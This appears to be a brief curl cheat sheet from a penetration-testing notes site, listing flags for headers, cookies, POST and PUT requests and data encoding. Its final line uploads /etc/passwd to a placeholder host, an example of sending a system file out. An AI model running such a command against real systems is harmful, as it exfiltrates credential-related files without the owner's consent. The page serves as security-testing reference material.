> For the complete documentation index, see [llms.txt](https://kashz.gitbook.io/kashz-jewels/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kashz.gitbook.io/kashz-jewels/tricks/curl.md).

# curl

```bash
curl [-X POST|PUT] [flags] URL [|html2text]

-I headers-only | -v verbose | -k insecure ssl  | -H header
-A user-agent
[-b | --cookie] cookie-string

# for POST data (not url-encoded)
#  will use Content-Type: application/x-www-form-urlencoded
-d "POST DATA"

# to url-encode
--data-urlencode
# specify -G when want to url encode and send using GET method

# binary data
--data-binary

# PUT file
-T <file>

curl -F 'data=@/etc/passwd' http://IP/kashz
```
